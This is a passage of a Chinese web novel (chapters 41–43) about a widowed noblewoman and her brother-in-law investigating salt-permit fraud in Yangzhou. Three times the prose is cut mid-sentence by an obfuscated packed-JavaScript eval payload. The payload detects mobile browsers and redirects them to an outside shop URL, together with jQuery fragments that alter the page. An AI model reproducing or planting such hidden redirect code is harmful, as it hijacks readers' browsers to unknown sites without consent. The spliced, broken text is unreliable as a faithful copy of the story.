郑淮序闷哼一声,非但没有退却,反而低低地笑了,那笑声带着胸腔的震动,尽数渡给了她。他吻得更深,更缠人,唇齿厮磨间,一点淡淡的血腥气弥漫开来,分不清是谁的。 烛火噼啪轻响,光影在他们紧贴的身影上摇曳流动。待他终于松开时,她已浑身虚软,只能倚在他怀中轻喘,眼帘半阖,似醉非醉。 方才一番纠缠,她的云鬓已然松散,他的衣襟亦被扯得凌乱,微微敞露的锁骨上,赫然印着一枚绯色齿痕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235613|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 郑淮序垂下眼帘,目光掠过自己衣衫不整的模样,眉梢微扬:“我才穿好的衣裳。” “你……”李妙仪气息未平,又羞又急,“分明是你先……” “我先怎样?”他凑得更近,鼻尖几乎与她相触,“是我先唐突,可你不仅咬人,还扯坏了我的衣裳。” 这近乎无赖的倒打一耙,让李妙仪气结,抬手便想捶他,手腕却在半空被他捉住。 他没有用力,只将她的手掌摊开,低下头,将一个轻柔如羽的吻,印在了她温热的掌心。 暖意与酥麻霎时如细微的电流,自掌心窜起,迅速席卷了四肢百骸,让她不由自主地轻轻一颤。 “别闹了。”他声音沙哑,将她搂紧,“说正事。” 说罢,他抱着她坐到榻上,仍将她圈在怀中,下巴抵着她的发顶:“明月楼的邀约,你如何看?” 李妙仪挣扎未果,只得由他圈着,声音闷在他衣襟前:“太过巧合,匿名信方到,邀约便来,且都在三日后的戌时。” “是试探。”郑淮序语气笃定,“有人想探我们的深浅。你若赴约,便是表明我们对盐务有意;若不赴,反倒惹人生疑。” “所以非去不可?” “非去不可,但须万分谨慎。”他沉吟道,“我会在明月楼四周布下人手,青梧必须时刻不离你左右,见势不对,立即脱身。” 李妙仪轻轻点头,忽又想起一事:“今日诗会上,那几位与盐商有牵连的文士中,有位张姓公子,似乎能接触到盐引交易的核心人物。” 她将今日所闻细细道来,包括那些文士不经意透露的关节,以及扬州盐商与地方官吏往来勾连的诸般手段,诗文唱酬、古董流通、书画赠答,乃至合股经营,以“干股”之名行利益输送之实。 郑淮序静静听着,手指无意识地缠绕着她的一缕发丝。 “王延年那头,我今日也得了些风声。”待她说完,他才缓缓开口,“这位太守大人,明面上两袖清风,居官邸而不置私产,瞧着十分清廉。可其夫人与独子名下,明里暗里的产业不下十处,绸缎庄、茶楼、当铺,甚至还有一家船行。” “盐漕转运,离不开船。”李妙仪立刻抓住了关窍。 “不错。”郑淮序冷笑,“那船行规模不大,专走运河一线,与几家大盐商往来甚密。更巧的是,船行账目从不对外,每年税额皆是‘包税’。” 包税,即一次性缴纳固定税额,不同实际经营情况。这通常是官员亲属经商避税的手段。 “王昀知道这些么?”李妙仪问。 “他或许知晓,或许故作不知。”郑淮序道,“这位王公子,表面醉心风雅,内里却精明得很。他今日对你大献殷勤,除却仰慕,恐怕也存了借你攀附国公府的心思。” “你须牢记,王昀可作查案的切口,却绝不可为盟友。他与其父,很可能正是局中之人。” 李妙仪心中凛然:“我明白。” 窗外雨声渐悄,夜色已浓。案上烛火将尽,光晕昏黄黯淡,柔和地笼罩着紧密相拥的两人。 李妙仪在他怀中轻轻动了动:“时辰不早了,你该回了。” “再待片刻。”他将脸埋在她温热的颈窝,声音透出几分罕见的倦意,“今日累得很。” 那语调里淡淡的疲惫,让李妙仪心口莫名一软。她没有再催促,手却无意识地抚上他的背,轻轻拍着。 郑淮序身体微微一僵,随即放松下来,将她搂得更紧。 41. 窥伺 次日清晨,雨霁天青。 李妙仪推开槛窗,湿润的草木清气拂面而来。院中几丛芭蕉被雨洗得凝碧,宽叶上水光潋滟,风一过,便簌簌滚下几痕凉意。 “少夫人,王公子又送帖子来了。”青梧捧着描金拜帖进来,语气里带着几分无奈。 李妙仪接过展开,是王昀邀她同往栖霞寺祈福。 她将帖子轻搁案上,明月楼之约在即,王昀这般殷勤,怕是另有所图。但正因如此,这趟寺庙之行更该去。 “更衣吧,素净些便好。” 方理罢裙裾,院外便传来脚步声,郑淮序正立在月洞门外,目光静静落在她身上:“要出门?” “王昀邀我去栖霞寺。”李妙仪如实道,“昨日诗会上几位也在。” 郑淮序眉头微蹙:“我随你去。” “你?”她有些意外。 “我去不得?”他唇角略抬,“既说是‘同好相聚’,多我一人又何妨。况且……”他向前半步,“今日这场合,我在你身旁稳妥些。” 这话说得在理,李妙仪点头:“也好。” 两人同乘一车,车帘垂下,外头市声渐远,车内唯闻车轮辘辘。 “昨夜雨声扰人,睡得可好?”郑淮序忽然问。 李妙仪面上微热:“尚可。” 郑淮序低笑一声,没再追问。 行过扬州城的长街,晨间的喧嚣透过帘隙渗入,早点铺子的吆喝、货郎摇铃的清脆、运河边起锚的号子,纷杂却鲜活。 “扬州繁华,不输盛京。”李妙仪望着窗外轻叹。 “盐利所聚,自然繁华。”郑淮序语气平淡,“只是这繁华底下,不知埋了多少未寒的尸骨。” 栖霞寺依山而建,古木参天,檀香随山风袅袅飘散。王昀果然已候在石阶前,身旁聚着七八位年轻男女,皆是昨日诗会上见过的面孔。 见郑淮序一同下车,王昀眼底掠过一丝讶色,随即含笑迎上:“郑大人竟也光临,宝刹今日实是增辉。” “听闻栖霞寺香火灵验,特来祈福。”郑淮序拱手还礼,“王公子不介意吧?” “岂敢岂敢。”王昀连声道,目光转向李妙仪时便深了几分,“少夫人今日气色极佳,似比寺中古梅更清雅三分。” 李妙仪浅笑:“王公子过誉了。” 一行人往寺内走去,栖霞寺香火确盛,善男信女络绎不绝。庭角数株古梅未全谢,枝头还挂着零星花朵,在青砖灰瓦间添了几分颜色。 王昀如展屏孔雀,一路向李妙仪介绍寺中景致:“此株银杏乃前朝遗植,已历三百余岁……那方是放生池,每逢佛诞日,池中锦鲤成群……再往前便是大雄宝殿,其中玉佛自天竺请来,法相庄严……” 李妙仪偶尔答上一二句,目光却在人群中寻找郑淮序的身影。他不知何时落后了几步,正与一位须发皆白的老僧交谈。 同行几位年轻女子的眼波,却大多悄然绕在郑淮序身上。 “那位便是郑国公府的二公子?”着粉衫的姑娘轻声问同伴,“果真仪表堂堂。” “听闻尚未议亲呢。”另一人掩袖轻笑,“这般人物,不知将来花落谁家。” “嘘,小声些。”旁人提醒,“那位崔娘子是他嫂嫂,莫教人听见。” 待众人行至大殿前,一位姓林的才女鼓起勇气上前,盈盈一礼:“郑公子亦心向佛法么?” 郑淮序刚与老僧话别,闻声转身,客气颔首:“佛法深广,不敢轻言信与不信,惟存敬畏之心。” 他答得疏淡,林姑娘却未退缩:“公子说得是,栖霞寺的素斋亦是一绝,待祈福完毕,公子可愿一同品尝?” “多谢姑娘美意,只是……”郑淮序话音忽顿,目光已越过她,落向不远处的李妙仪。 王昀正指着殿前一副楹联与她讲解,身形微倾,离她不过咫尺。李妙仪不着痕迹地侧移半步,面上笑意温婉依旧,无懈可击。 郑淮序眸色微沉,对林姓女子道:“在下还有些事,失陪。”言罢便径直朝李妙仪走去。 林姑娘怔立原地,笑意凝在唇角。旁人皆看在眼里,却只作未见。 大雄宝殿内檀香氤氲,佛像垂目静观,烛火在肃穆的昏暗中摇曳明灭。 李妙仪跪于蒲团之上,双手合十,闭目祈福。重生一遭,从前不信的神佛,如今也信了几分。她不知这番机缘从何而来,只知既得此第二条性命,便不能辜负。 愿母后安康,愿国公府平顺,愿……她顿了顿,于心底续上:愿郑淮序此行顺遂,愿山河清朗,蠹虫尽除。 睁眼时,却见郑淮序正跪在相邻的蒲团上,亦闭目合十,神色虔诚。 二人先后起身,王昀已候在殿外。他手捧一只锦盒,含笑上前:“方才请方丈开了光的檀木佛珠,赠与少夫人,祈愿平安顺遂。” 李妙仪方欲婉拒,郑淮序已先一步接过:“王公子有心。家嫂尚在孝期,不便收受外礼。此物便由在下暂存,日后奉于佛前祈福,亦是功德。” 他言辞妥帖,无懈可击。 王昀笑容微滞,只得道:“郑大人思虑周全。” 出得大殿,众人信步往寺后梅园行去。行至一株老梅下,王昀忽伸手示意:“少夫人鬓边落了梅瓣。” 指尖将触未触之际,李妙仪侧身避开,自行抬手拂去,颊边适时泛起浅淡红晕:“多谢公子提醒。” 这含羞情态,反令王昀眸光愈深。他收回手,目光似黏在她纤纤皓腕上,喉结滚动。 李妙仪适时移转话头:“昨日听张公子提及明月楼,不知那处景致如何?” “明月楼啊,”王昀定了定神,“那是瘦西湖畔头一份的清雅之地,三层高楼临水而起,月明之夜登楼远眺,湖光烟色一览无余,少夫人亲临便知。” “公子也去么?” “自然。”王昀眼中掠过一丝得色,“明月楼东家与家父乃旧识,常邀王某品茗听琴。张兄既邀了少夫人,王某自当相伴。” 他说着,又近半步:“说来也巧,楼中新近来了位琴师,技艺绝伦,尤擅《高山》《流水》。少夫人雅通音律,定会喜欢。” 二人并肩徐行,王昀说话时衣袖几度拂过她手臂。李妙仪面上仍维持浅笑,暗自思忖脱身之机。 绕过一处回廊,眼前是放生池。石栏环抱,池中锦鲤成群,见人影便簇拥而来。 “少夫人可要喂鱼?”王昀自袖中取出一小纸包,内盛鱼食,“这池中的锦鲤颇具灵性,相传若能喂得金鳞一尾,便可心想事成。” 李妙仪正欲接过,王昀却径直捏起一撮鱼食,顺势便要来握她的手:“来,我教少夫人。” 李妙仪倏然缩手后退,足跟却撞上身后石栏,身形一晃。 “当心。”一只有力的手稳稳扶住她的肩。 郑淮序不知何时已立在身后,手臂虚拢,将她与王昀隔开。 “王公子,”郑淮序目光锐利,“家嫂不惯与外人亲近,还望见谅。” 王昀面色变了变:“是王某唐突了,只是见少夫人喜爱池鱼,一时忘情。”他将鱼食递向郑淮序,“郑大人请。” 郑淮序接过,却未投喂,只转身交给一旁的青梧:“先收着,改日再来。” 气氛一时凝滞,幸而此时余人皆已跟上,那位林姓才女含笑解围:“前头茶寮已备好素斋,诸位不如移步品尝?” 用斋的茶寮设在梅园旁,素斋果然精致:翡翠羹碧莹莹的,罗汉斋五彩纷陈,素鸡素鸭形味皆妙,盛在青瓷碟里,素净可喜。 席间,王昀总算稍敛形迹,只与众人谈诗论画。 几位才女却对郑淮序分外热络,这个捧茶,那个布菜,笑语嫣然。 李妙仪安静用着斋饭,偶尔抬眼,正对上郑淮序的目光。他坐在斜对面,神色疏淡,只在与她视线相接时,眼底才掠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235614|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一丝微澜。 她夹起一块素食,忽然觉得口中滋味淡了几分。 斋罢,众人又在寺中徜徉片刻。申时初,方起身下山。 回程时,王昀仍欲相送,郑淮序已淡然开口:“不劳王公子,在下与家嫂同车即可。” 马车驶离栖霞寺山道,李妙仪终于舒了口气,向后靠在车壁上,合上眼帘。 “累了?”郑淮序的声音在身侧响起。 “嗯。”她轻声道,“周旋应对,比跋山涉水更耗心神。” 车厢内静了片刻,她腕间忽然一暖,郑淮序握住了她的手,取出一方素帕,开始细细擦拭她的手指。 他的薄唇微微抿着,动作却极其认真,从指尖到指根,一根一根缓缓拭过,仿佛上面沾了什么脏东西。 “郑淮序。”她轻声唤道。 他抬眼看她,眸光深暗:“我不喜他碰你。” 这话说得直白,李妙仪心头一跳,想抽回手,却被他握得更紧。 “后日明月楼,我会安排妥当。”他缓缓松开手,语气恢复平静,“但你须记着,无论王昀说什么、做什么,都不可与他单独相处。” “我明白。”她点头应道。 回到听雨轩,第一件事便是唤青梧备水沐浴。 浴桶中热气氤氲,李妙仪将自己浸入水中,一遍遍搓洗手腕与指尖,仿佛要洗去白日里所有黏腻不适的触感。 青梧在屏风外轻声提醒:“少夫人,水要凉了。” 她这才起身,换上洁净寝衣。长发湿漉漉披在身后,她坐于镜前,由青梧缓缓擦拭。 镜中人眉眼倦淡,却另有一种说不出的柔婉流转。 “少夫人,”青梧忽然道,“二公子命人送了吃食来。” 李妙仪转头,见桌上置着一只红木食盒。启开一看,是几样扬州名吃:文思豆腐、狮子头、烫干丝,还有一盅冰糖炖梨。都是温热的,显是刚做好便送来了。 食盒底层压着张纸条,上面是郑淮序的字迹:“晚归,勿候,务必用膳。” 笔力刚劲,关切却跃然纸上。 她让青梧布菜,慢慢用了些。那盅炖梨极好,梨肉酥融,汤色清亮,入喉一片温润。 用罢膳,她踱至窗边,取了一卷书在灯下翻阅。字句却朦胧晕开,眼前总浮现他的身影。 亥时三刻,院外终于响起脚步声。 “可歇下了?”郑淮序的声音传来,透着几分倦意。 她拉开门,见他一身风尘未卸,眼中血丝隐约可见,身上有淡淡的酒气。 “你饮酒了?”她皱眉。 “应酬难免。”他踏入房中,在桌边坐下,自斟了一杯冷茶饮尽,“今日见了三位盐商,个个皆是修炼成精的老狐狸。” “可探到什么?” “只得些皮毛。”郑淮序揉了揉眉心,“盐引发放确有蹊跷。寻常盐引,一引可兑盐四百斤,但有些盐商手中所谓‘旧引’,竟能兑六百斤、八百斤不等。这些‘旧引’多是前些年发放未用的,本该作废,却不知经何门路又流转起来。” “更怪的是,这些‘旧引’大多经扬州盐课司核验,手续齐备。而主管核验的,正是周主事下狱前在查的那个官员。” 李妙仪心下一沉:“你是说,周主事是因查到此节才……” “十之八九。”郑淮序唇角勾起一抹冷嘲,“这等‘旧引’若当真流通,一年下来,仅扬州一地,国库损失的盐税便不下十万两。” 房中烛火跳跃,映着两人凝重的面色。 夜已深,他该走了。行至门边,他忽又回首:“后日,定要平安归来。” 她微微一笑:“你也是。” 门扉悄然合拢,李妙仪独自立在房中,听着他的足音渐次远去。 她徐步走到窗前,夜空无月,疏星寥落。远处扬州城的灯火明明灭灭,如无数只窥伺的眼,在暗处无声闪烁。 42. 盐引 明月楼之约前一日,漱玉园内气氛凝重。 李妙仪面前摊着数封密函与账目抄本,皆是郑淮序近日暗中搜罗的线索。盐课司、扬州盐商、户部官员、琅琊王氏……千头万绪,却在某一节点隐隐交汇。 “少夫人,衣裳送到了。”青梧捧着锦盒入内。 盒中是一袭天水碧云纹罗裙,配月白绣梅披帛,另有一支青玉凤钗。李妙仪试罢,尺寸合宜。镜中人清丽端雅,眉目间却藏着一缕锐气。 “二公子传话,今夜他将扮作暗卫随行。”青梧补充道,“明月楼内外已布置了人手,皆是国公府养在江南的暗桩。” 李妙仪颔首,今夜之宴,她须在那些老狐狸面前,扮好一个南下散心、偶对商事生出兴趣的国公府少夫人。不能太精明惹人戒备,也不可过分愚钝遭人轻视。 初夜时分,湖畔华灯渐起,明月楼飞檐如雁,琉璃灯映得水面流光溢彩。 楼前已停驻数辆马车,下来多是锦衣华服的男子,亦有几位妆扮精致的女眷。王昀引李妙仪入门时,不少目光投来。 “王公子来了!”张姓文士笑着迎上,“少夫人风采照人。” “张老板客气。”李妙仪欠身还礼,眼波轻扫。对方今日一身云锦直裰,拇指戴着翡翠扳指,哪里还有半分文人模样。 在场约二十余人,有盐商、茶商、丝绸商,亦有扬州挂衔的闲散文官。听闻李妙仪出自国公府,众人神情各异:或殷勤热络,或审视打量,亦有人目带轻蔑。 妇道人家,来此作甚? 宴席设在三楼,珍馐美酒,乐伎佐兴,所谈不外风花雪月。李妙仪静坐席侧,偶尔应和,目光却将众人言行一一收入眼底。 酒过三巡,一位赵姓盐商举杯笑道:“听闻少夫人在京中主持国公府中馈,对采买经营之事,想必颇有心得?” 李妙仪温声道:“赵老板说笑了,我不过按例理事。此番南下,见江南物产丰饶,倒是开眼。”她话语微顿,“前日路过码头,见盐船云集,景象壮观。京中虽亦有盐车往来,却无这般声势。” 席间静了一瞬。 赵老板目中精光一闪:“少夫人对盐务也有兴致?” “只是好奇。”李妙仪神色从容,“国公府每年用盐不少,在京采买,总觉价格浮动,时有杂质。若能自源头购置,应能省去周折。” 几位盐商眼中的轻视之色渐褪。 赵老板笑道:“少夫人若真有意,赵某愿代为牵线。扬州盐场品质上乘,运至盛京虽增些运费,但若数量可观,价钱总可商议。” 另一人接话:“若能同国公府长久往来,定价自然从优。只不过……”他拖长语调,“盐引管制严格,若无引票,纵是我等亦不敢私运大宗。” “盐引?”李妙仪故作不解,“似是一纸凭证?” “正是。”孙姓盐商解释道,“由户部颁放,一引兑盐四百斤。持引方能至盐场提盐,运销各地。” 李妙仪若有所思:“那盐引如何取得?” 席间再度寂静。 王昀适时举杯:“少夫人,盐引之事错综复杂,今日难得雅集,莫让俗务扰了清兴。” 话题被移开,但李妙仪已捕捉到关键。当她提及“国公府”时,席间至少三人眼底掠过异色。 宴至亥时,众人酒意酣然。李妙仪借故离席,踱至窗边。 凭栏静立,她脑中飞快整理:赵老板与盐课司往来甚密;孙老板专营漕运,船队庞大;还有一位寡言的陈姓商人,每每提及“旧引”“余盐”时,指节总不自觉摩挲杯壁。 身后传来脚步声,王昀执杯而来。 “少夫人怎么独自在此?”他将一杯酒递给她,“可是席间烦闷?” “只是有些醉意,醒一醒神。”李妙仪接过杯盏,并未饮下。 王昀立在身侧,月光斜映,她的侧脸如白玉琢成,清冷莹然。他喉间微动,语气骤然暧昧:“令言,我这般唤你可好?” 李妙仪心头警铃大作,面色仍维持着平静:“王公子醉了。” “我没醉。”王昀又近一步,酒气扑面,“自那日诗会,我便倾心于你。你可知这楼为何名‘明月’?只因见你如见明月,清辉入怀,再难忘却。” 李妙仪后退半步,后背抵上栏杆:“王公子,请自重。” “自重?”王昀低笑,“你年华正好,何苦长守孤清?我待你一片真心。你若愿意,日后国公府在江南诸事,王家必倾力相扶。” 他伸手欲握她手腕。 “王公子。” 一道平静的声音自不远处响起。 易容后的郑淮序出现在楼梯口,缓步走近,三步外停驻:“夜深了,属下该护送少夫人回府了。” 王昀面色一滞,收手负后,强笑道:“少夫人饮了几杯,想必倦了。明月楼已备好上房,不如今夜就此歇下?” 李妙仪望向郑淮序,此乃计划中的一节,若执意离去,反易惹疑。 “也好,叨扰了。” 上房临湖而设,外间桌椅书案,里间卧榻垂帷,窗畔还有一张贵妃榻。兰芷香正徐徐漫开,驱散了楼下的喧嚣与酒气。 郑淮序送她进屋,掩上门:“我在暗处守着,你安心。” 他身形一动,隐入屏风后阴影中。 李妙仪斟茶慢饮,脑中反复浮现今夜种种,盐引这张网,比她预想的更为复杂。 约莫子时,叩门声响起。 “令言,可歇下了?”是王昀的声音。 李妙仪望了一眼屏风方向,定神应道:“尚未,王公子有何事?” “得了件稀罕物,想请令言掌眼。”王昀推门而入,手捧一只乌木小匣,面色瞧着格外泛红,目光飘浮。 李妙仪起身,与他隔开几步。 王昀将木匣置于桌上,推开匣盖。内里是几份泛黄旧文书,纸边微卷,印鉴暗沉。 “这是家父早年收存的旧物。”王昀压低声音,“听闻令言对盐务有意,王某想起这些过时的盐引文书,虽已无用,倒可作个念想。” 李妙仪瞥过一眼:“王公子说笑了,我岂敢窥探盐政旧事。” “这些虽是旧引,门道却未必过时。”王昀趋近一步,“譬如这张弘化三年的批文,引额八百引,核销印盖的却是弘化五年的章。你可知,中间两年的空档,能做多少文章?” 李妙仪心头骤紧,垂眸细看,日期与核销年份竟差两年。 “盐场每年损耗,数目多靠这些时光错位的旧引,在账目间腾挪。”他忽而一笑,语气暧昧,“王某今夜携此而来,一片诚心,令言可明白?” “王公子。”她抬眸,声色清冷,“此等要物,岂可随意示人?公子醉了。” “王某清醒得很。”王昀忽地握住她的手腕,“令言,何必再故作矜持?只要你点头,莫说这几张旧纸,往后扬州盐场的消息……” 话未竟,一道黑影自屏风后掠出。 王昀后颈一痛,双目骤暗,软软瘫倒在地。 郑淮序面沉如霜,吹了声短促口哨。两名暗卫闪入,正要架起王昀,却被他抬手止住:“且慢。” 他拾起匣中那份弘化三年批文,走至烛火旁细看。纸面泛黄,日期与核销印鉴相差两年,骑缝处有一道极淡的朱笔勾画。 “果然如此。”他转向昏迷的王昀,“此人虽居心不正,倒送了份大礼。” 李妙仪已镇定心神,走近细观:“这勾画是……” “户部归档暗记。”郑淮序指尖轻点朱痕,“弘化三年至五年间,此类‘时光错引’在扬州盐课司卷宗中出现十七次,皆以‘补录旧档 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“不止。”郑淮序目光深沉,“他敢将此物示你,说明王家已涉局极深。今夜若你应他,便是同谋;若不应,他也有把握你不敢声张。私窥盐政旧档,一旦外传,国公府也难脱干系。” 李妙仪闭目片刻,再睁眼时眸色已清:“那便将计就计,他既送了钥匙,我们便用这钥匙,开那扇紧闭的门。” 郑淮序颔首,眼中闪过一丝赞许:“明日回府,我即安排人手核验历年盐课司卷宗。若有同类批文,便能摸清这条暗线的脉络。” 烛火轻摇,夜色更深。 李妙仪望向屏风后的浴桶,忽觉一身疲惫:“我想稍作梳洗。” 郑淮序一怔,随即颔首:“我去门外守着。” “不必。”她轻声道,“你在外间即可。” 水声淅沥,雾气氤氲漫出,携着澡豆的清芬,在室内无声流淌。 郑淮序背身立在窗前,凝神听着四方动静,耳廓却不由自主地捕捉着屏风后的每一缕声响。他喉结微动,目光投向窗外夜色,握着窗棂的指节却紧了紧。 良久,水声歇了。 李妙仪换好寝衣走出,领口微敞,露出一小截莹润的锁骨。湿透的长发披在身后,将月白的衣料洇出深色水痕,她行至妆台前坐下。 郑淮序自然接过布巾,站在她身后,为她拢起湿发,细细擦拭。 烛光将他的身影投在镜中,宽厚的肩背几乎将她整个笼罩,他动作轻柔,指腹偶尔擦过她的耳廓、后颈,带起一阵若有若无的温热。 李妙仪望着镜面,视线却渐渐恍惚起来。 也是这样的夜晚,也是这样的烛光。 那是郑淮舟出征前夜,他也曾这样站在她身后,为她拭发。后来他将她拥进怀里,气息逐渐滚烫,仿佛要将临别前的不舍,都揉进那一个绵长的吻里。 尽管心无杂念,她最终还是没有推开他。 李妙仪闭了闭眼,将那些画面压回记忆深处。 再睁眼时,镜中人是郑淮序。相似的眉眼,气息却迥然不同。兄长温润如暖玉,弟弟却锐利如寒剑。 命运何其弄人,偏要让她借这样的身份,重活一回。 郑淮序察觉她心绪浮动,手中动作稍顿:“怎么了?” “想起些旧事。”她轻声道。 他没再追问,只继续为她拭发。直至青丝半干,又执起木梳,细细将发丝梳顺。 “你也去洗洗罢。”她忽道,“今日辛苦了。” 郑淮序确觉一身尘嚣,应声转入屏风后。褪去外衣时,瞥见臂上青筋微凸,方才若非为顾全大局,他真想废了王昀那只手。 更衣而出时,李妙仪已歇在里间床榻,帐幔半垂。 他吹熄烛火,只留一盏小灯。坐于外间榻上,耳听里间呼吸渐匀,目光落向窗外明月。 晨光将至时,不知会有怎样的波澜涌起。 43. 试探 王昀翌日醒来时,头痛欲裂。 他发现自己躺在明月楼僻静厢房的榻上,衣衫齐整,只是袖口沾了些灰。最后的记忆停在昨晚,他向李妙仪展示那几份旧盐引批文,之后便是一片空白。 他猛地坐起,探手入怀,幸而木匣还在。 打开一看,几份泛黄批文的整齐叠放,骑缝处的暗记、印章都与昨夜别无二致,这才松了口气。 想必是昨夜饮多了,醉倒在此,幸而随身之物未失。 正思忖间,房门被叩响。 “王公子可醒了?”是明月楼管事的声音,“崔少夫人已先回漱玉园了,留话说公子昨夜饮醉,不便惊扰,让您好生歇息。” 王昀心下稍定,起身开门。 管事捧着一碗醒酒汤,笑容可掬:“少夫人吩咐,务必让公子用些汤水解酒。” 汤水温热,入口酸中带甘,一碗下去,王昀脑中清明几分。 这女子,究竟是真对盐引感兴趣,还是另有图谋? 他忽然想起父亲前日的叮嘱:“崔令言此人,不可小觑。她若只散心便罢,若真插手盐务,须得小心应对。” 当时他还笑父亲多虑,此刻却隐隐不安。 漱玉园书房。 郑淮序已经候了半个时辰,案上摊着昨夜抄录的批文副本,另有一叠新旧账册。听见脚步声,他抬眸,视线在李妙仪脸上停了一瞬。 “补觉补得如何?” “尚可。”李妙仪在他对面坐下,随手理了理鬓发,“核对过了?” “嗯。”郑淮序指尖点着纸上日期,“弘化三年腊月批的盐引,引额八百,本该次年春核销。但这上面的核销印,是弘化五年秋。两年七个月的空档,足够把几万斤私盐洗白入账。” 李妙仪接过他推来的另一本账册,打开细看。 这是从盐课司旧档里抄出来的损耗记录:弘化四年至五年间,扬州盐场报称“仓廪折损”“途中湿腐”的盐,共计六万四千余斤。按当时盐价,值银近两万两。 账目做得精细,每笔损耗皆有经办人画押,时间、地点、事由俱全,看不出破绽。 “但这些损耗,实则是通过‘时光错引’在账面上抹平的。”她恍然,“盐场实际产盐未少,只是账上做了手脚,将官盐转为私盐售卖,所得银钱……” “流入某些人的口袋。”郑淮序接话,眼中寒芒一闪。 他说话时,手碰了碰她搁在案边的那盏茶,试了试温度。 凉的。 他皱了皱眉,起身走到门边,对廊下吩咐了一句。再回来时,不动声色地将自己那盏还温着的茶推到她手边。 “王昀敢将此物示你,”他落座,目光落回账册,“说明此类手法在扬州盐政中已成惯例,背后牵扯的,恐怕不止盐课司。” 李妙仪端起茶盏,低头抿了一口。 她没看他,唇角却微微弯了弯。 两人之间安静了一息,只有窗外疏疏落落的鸟鸣。 青梧的声音在廊下响起:“二公子,少夫人,王公子来了,说是有要事相商。” 李妙仪与郑淮序交换了一个眼神。 来得正好。 前厅中,王昀候了片刻。见李妙仪出来,他起身拱手,姿态比昨日殷勤三分:“昨夜王某失态,还请少夫人见谅。” “王公子言重了。”李妙仪示意他坐,“今日来,可是有事?” 王昀迟疑片刻,压低声音道:“昨夜那几份批文,少夫人可还记得?” “自然记得。”李妙仪神色平静,“公子说那是旧物,让我掌眼。怎么,有什么不妥?” “倒无不妥。”王昀观察她的神情,语气愈发谨慎,“只是王某事后思量,少夫人既对盐务有兴趣,或许王某能引荐几位真正懂行的人物?” 李妙仪眉梢微动,做出不解状应道:“哦?公子说的是?” “都是扬州商界有头脸的人物。”王昀声音更低,“其中有位陈老板,专做漕运与盐引买卖,门路极广。少夫人若想为国公府打通江南盐路,找他是最稳妥的。” 李妙仪脑中闪过昨夜明月楼中那个寡言的身影。 原来在这儿等着。 “那便劳烦公子引荐。”她微笑,“只是不知,陈老板可方便见客?” “陈老板在城东春煦园设了私宴。”王昀从袖中取出一张描金请帖,“少夫人若肯赏光,王某愿陪同前往。” 请帖入手,触感细腻。 李妙仪展开一看,时间地点俱全,唯独没写宴请的由头。 “陈老板好雅兴。”她合上请帖,“那便届时见。” 王昀又寒暄几句,告辞离去。 送走他后,李妙仪回到书房,将请帖递给郑淮序。 “春煦园是陈望的私产。”郑淮序扫了一眼,“此人是扬州盐商里最低调也最难对付的一个。明面上只做漕运,实则掌控着运河沿线三成以上的盐船。王昀能引荐你去见他,说明王家跟陈望关系不浅。” “我知道。”李妙仪偏头看他,两人目光相触,“所以你得陪我去。” 郑淮序没说话,只是看着她。 片刻,他移开视线,唇角却微微扬起。 “自然。” 三日后,春煦园。 李妙仪到的时候,阁中已坐了五六人。除了王昀和陈望,还有两位面生的商人,以及一个身着官服的中年男子,乃扬州盐课司副使,赵文康。 “少夫人大驾光临,蓬荜生辉。”陈望起身相迎,面容平和,眼神却精亮。 李妙仪欠身还礼,目光扫过众人,最后落在赵文康身上:“赵大人也在?” 赵文康拱手笑道:“陈老板雅集,下官厚颜来讨杯酒喝。” 众人落座。 席间菜肴精致,酒是陈年花雕,所谈皆是风物雅趣。李妙仪从容应对,言谈间不时流露出对江南商路的兴趣。 酒过三巡,陈望忽然道:“听闻少夫人有意为国公府开辟盐路?此事说易不易,说难也不难。” 李妙仪放下酒杯:“愿闻其详。” “盐政之要,首在盐引。”陈望缓缓道,“有引,盐路就通;无引,寸步难行。而盐引的来路,一靠资历,二靠门路。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238623|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他看向赵文康,抛出话引:“赵大人掌盐课司批核,最知其中关窍。” 赵文康立即会意,接话道:“盐引发放,户部有定额。但扬州盐场年产量,其实远超这个定额。这些余盐,若有门路,也不是不能运作。” 话说得隐晦,意思却明白。 官盐之外,还有一块可以运作的灰色地带。 李妙仪故作沉吟,反问:“那这门路?” 陈望与赵文康交换了一个眼神。 王昀适时笑道:“少夫人放心,陈老板与赵大人相交多年,最是稳妥。只要少夫人有意,引路的事包在王某身上。” “不知这引路,需要多少打点?”李妙仪问得直接。 席间静了一瞬。 陈望抚须笑道:“少夫人爽快,既是为国公府办事,陈某不敢多求。只需这个数……”他伸出三根手指,“三千引,每引加银五两,共一万五千两。银到引至,绝无拖延。” 三千引盐,合法购盐需一千二百两引银,他竟开口加价一万五千两,足足翻了十几倍。 